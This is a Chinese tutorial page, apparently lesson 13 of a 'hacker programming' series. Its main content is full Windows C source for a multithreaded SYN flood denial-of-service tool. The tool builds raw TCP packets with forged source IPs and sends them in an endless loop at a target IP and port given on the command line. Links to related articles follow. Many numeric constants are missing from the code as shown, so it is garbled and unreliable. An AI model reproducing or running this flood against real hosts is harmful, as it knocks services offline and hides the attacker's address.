DOS基本原理相信大家都已经很熟悉了,DOS工具大家也用的很熟悉.在群里 经常有人说什么时候去DOS什么东西.
现在我们就自己编写一个DOS工具. #include <winsock2.h> #include <Ws2tcpip.h> #include <stdio.h> #pragma comment(lib,"ws2_32.lib") #define SEQ 0x28376839 int threadnum,maxthread,port; char *DestIP; //目标IP void display(void) // 定义状态提示函数 { static int play=; // 进度条 char *plays[]= { " | ", " / ", " - ", " \\ ", " | ", " / ", " - ", " \\ ", " | ", " / ", " - ", " \\ ", }; printf("=%s= %d threads \r", plays[play],threadnum); play=(play==)?:play+; } //定义一个tcphdr结构来存放TCP首部 typedef struct tcphdr { USHORT th_sport; //16位源端口号 USHORT th_dport; //16位目的端口号 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres; //4位首部长度+6位保留字中的4位 unsigned char th_flag; ////6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位效验和 USHORT th_urp; //16位紧急数据偏移量 }TCP_HEADER; //定义一个iphdr来存放IP首部 typedef struct iphdr //ip首部 { unsigned char h_verlen; //4位手部长度,和4位IP版本号 unsigned char tos; //8位类型服务 unsigned short total_len; //16位总长度 unsigned short ident; //16位标志 unsigned short frag_and_flags; //3位标志位(如SYN,ACK,等等) unsigned char ttl; //8位生存时间 unsigned char proto; //8位协议 unsigned short checksum; //ip手部效验和 unsigned int sourceIP; //伪造IP地址 unsigned int destIP; //攻击的ip地址 }IP_HEADER; //TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性 struct { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; //置空 char ptcl; //协议类型 unsigned short tcpl; //TCP长度 }PSD_HEADER; //计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0) //然后计算整个IP首部的二进制反码的和。 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=; while(size >) { cksum+=*buffer++; size-=sizeof(USHORT); } if(size) cksum+=*(UCHAR*)buffer; cksum=(cksum >> )+(cksum&0xffff); cksum+=(cksum >>); return (USHORT)(~cksum); } DWORD WINAPI SynfloodThread(LPVOID lp) //synflood线程函数 { SOCKET sock =NULL; int ErrorCode=,flag=true,TimeOut=,FakeIpNet,FakeIpHost,dataSize=,SendSEQ=; struct sockaddr_in sockAddr; TCP_HEADER tcpheader; IP_HEADER ipheader; char sendBuf[]; sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,,WSA_FLAG_OVERLAPPED); if(sock==INVALID_SOCKET) { printf("Socket failed: %d\n",WSAGetLastError()); return ; } //设置IP_HDRINCL以便自己填充IP首部 ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt failed: %d\n",WSAGetLastError()); return ; } //设置发送超时 ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt time out failed: %d\n",WSAGetLastError()); return ; } //设置目标地址 memset(&sockAddr,,sizeof(sockAddr)); sockAddr.sin_family=AF_INET; sockAddr.sin_addr.s_addr =inet_addr(DestIP); FakeIpNet=inet_addr(DestIP); FakeIpHost=ntohl(FakeIpNet); //填充IP首部 ipheader.h_verlen=(<< | sizeof(IP_HEADER)/sizeof(unsigned long)); ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); ipheader.ident = ; ipheader.frag_and_flags = ; ipheader.ttl = ; ipheader.proto = IPPROTO_TCP; ipheader.checksum =; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); ipheader.destIP = inet_addr(DestIP); //填充TCP首部 tcpheader.th_dport=htons(port); tcpheader.th_sport = htons(); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_ack = ; tcpheader.th_lenres =(sizeof(TCP_HEADER)/<<|); tcpheader.th_flag = ; tcpheader.th_win = htons(); tcpheader.th_urp = ; tcpheader.th_sum = ; PSD_HEADER.saddr=ipheader.sourceIP; PSD_HEADER.daddr=ipheader.destIP; PSD_HEADER.mbz=; PSD_HEADER.ptcl=IPPROTO_TCP; PSD_HEADER.tcpl=htons(sizeof(tcpheader)); for(;;) { SendSEQ=(SendSEQ==)?:SendSEQ+; ipheader.checksum =; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_sport = htons(SendSEQ); tcpheader.th_sum = ; PSD_HEADER.saddr=ipheader.sourceIP; //把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和 memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER)); memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader)); tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader)); memcpy(sendBuf,&ipheader,sizeof(ipheader)); memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader)); memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),,); dataSize=sizeof(ipheader)+sizeof(tcpheader); ipheader.checksum=checksum((USHORT *)sendBuf,dataSize); memcpy(sendBuf,&ipheader,sizeof(ipheader)); sendto(sock,sendBuf,dataSize,,(struct sockaddr*) &sockAddr,sizeof(sockAddr)); display(); } Sleep(); InterlockedExchangeAdd((long *)&threadnum,-); return ; } void usage(char *name) { printf("\t===================SYN Flood======================\n"); printf("\t==========gxisone@hotmail.com 2004/7/6========\n"); printf("\tusage: %s [dest_IP] [port] [thread]\n",name); printf("\tExample: %s 192.168.1.1 80 100\n",name); } int main(int argc,char* argv[]) { if(argc!=) { usage(argv[]); return ; } usage(argv[]); int ErrorCode=; DestIP=argv[]; //取得目标主机IP port=atoi(argv[]); //取得目标端口号 maxthread=(maxthread>)?:atoi(argv[]); //如果线程数大于100则把线程数设置为100 WSADATA wsaData; if((ErrorCode=WSAStartup(MAKEWORD(,),&wsaData))!=){ printf("WSAStartup failed: %d\n",ErrorCode); return ; } printf("[start]...........\nPress any key to stop!\n"); while(threadnum<maxthread) //循环创建线程 { if(CreateThread(NULL,,SynfloodThread,,,)) { Sleep(); threadnum++; } } WSACleanup(); printf("\n[Stopd]...........\n"); return ; }

黑客编程教程(十三)多线程DOS程序的更多相关文章

  1. 黑客编程教程(二)Win API编程简介

    第二节 Win API编程简介 下面介绍一下WIN API. 我们需要自己编写一个工具时,必然会用到很多操作windows和控制windows的函数,这些函数就是windows API. API是Ap ...

  2. Java入门教程十三(多线程)

    线程的概念 单纯种以一个任务完成以后再进行下一个任务的模式进行,这样下一个任务的开始必须等待前一个任务的结束,只有一个任务完成后才能进行下一个任务.Java 语言提供了并发机制,允许开发人员在程序中执 ...

  3. 黑客编程教程(一)了解Windows机制

    第一节 了解Windows机制 Windows 是一个“基于事件的,消息驱动的”操作系统. 在Windows下执行一个程序,只要用户进行了影响窗口的动作(如改变窗口大小或移动.单击鼠标等)该动作就会触 ...

  4. 黑客编程教程(十四)单线程TCP端口扫描器

    #include<winsock2.h> #include<stdio.h> #include <time.h> //计时需要用到的头文件 #pragma comm ...

  5. 黑客编程教程(八)编写NT服务

    先介绍一下什么是NT服务,实际上就是一个可以在系统启动时自动在一定身份下启动的,伴随着系统长期存在的进程. 一个NT服务有三部分构成: :Service Control Manager(SCM) 每个 ...

  6. 黑客编程教程(六)Windows的关机和重起

    第六节 Windows的关机和重起 很多木马都有远程关机功能,但这并不是一个很好的功能.不过对于入侵服务器,有时需要重起服务器.其实对于关机和重起,只需要调用几个 API函数即可实现. 对于WIN9X ...

  7. 黑客编程教程(三)Windows 网络协议

    首先介绍一下网络协议:网络协议是网络上所有设备之间通信规则的集合,他定义了通信时信息必须采用的格式和这些格式的意义.大多数 网络协议都采用分层体系结,每一层都建立在他的下层之上,向他的上一层提供服务, ...

  8. 黑客编程教程(十五)HTTP代理

    #include <stdio.h> #include <winsock2.h> #define MAXBUFLEN 20480 #define HTTPADDLEN 50 # ...

  9. DOS程序员手册(一)

    当今MS-Windows横扫大江南北,让我们这就来研究一下它的祖宗——MS-DOS! 这本书很难得,希望读者好好学习! DOS程序员手册(一) DOS教程 (以下内容全部为原作者的阐述,照样保留) 这 ...

随机推荐

  1. more命令(转)

    原文:http://www.cnblogs.com/peida/archive/2012/11/02/2750588.html more命令,功能类似 cat ,cat命令是整个文件的内容从上到下显示 ...

  2. Windows删除无效服务

    W+R运行:regedit http://os.51cto.com/art/201208/354989.htm

  3. STS application.properties 中文乱码

    解决方案: window -- preferences -- content 步骤一:Text -- Java Properties File 步骤二:Text -- Java Properties ...

  4. Openerp 7.0消息推送

    在一个文档的state变化时,需要将变化情况告知关注用户,通过研究account.invoice的代码,发现是经过如下过程实现此功能的: 1.添加一个消息阶段: <record id=" ...

  5. 一致性 hash 算法( consistent hashing )(转)

    consistent hashing 算法早在 1997 年就在论文 Consistent hashing and random trees 中被提出,目前在 cache系统中应用越来越广泛: 1 基 ...

  6. 腾讯云-搭建 .NET Core 开发环境

    搭建 .NET Core 开发环境 安装 .Net Core 执行代码 任务时间:时间未知 .NET Core 的官方文档很详细,本实验带你建立一个.NET Core 1.1的Web运行环境,更多内容 ...

  7. hdu1690Bus System--解题报告

    题意:有一个公交系统的收费标准例如以下表: 然后问:给出 这些L1~4 & C1~4的值,然后 N个站.列出每一个站的X坐标.然后询问M次,问两个站台的最小花费 题解:那么这里非常明显是最短路 ...

  8. JavaScript的技巧和最佳实践

    JavaScript是一个绝冠全球的编程语言,可用于Web开发.移动应用开发(PhoneGap.Appcelerator).服务器端开发 (Node.js和Wakanda)等等.JavaScript还 ...

  9. ajax操作登录

    js文件中的内容(ajax.operate.js) ;(function ($, window) { var _ajaxOperate = window.ajaxOperate || {}; _aja ...

  10. GoogleMapsV3-----基础地图(自定义消息提示OverlayView) (转)

    <html> <head> <title> </title> <title></title>    <style type ...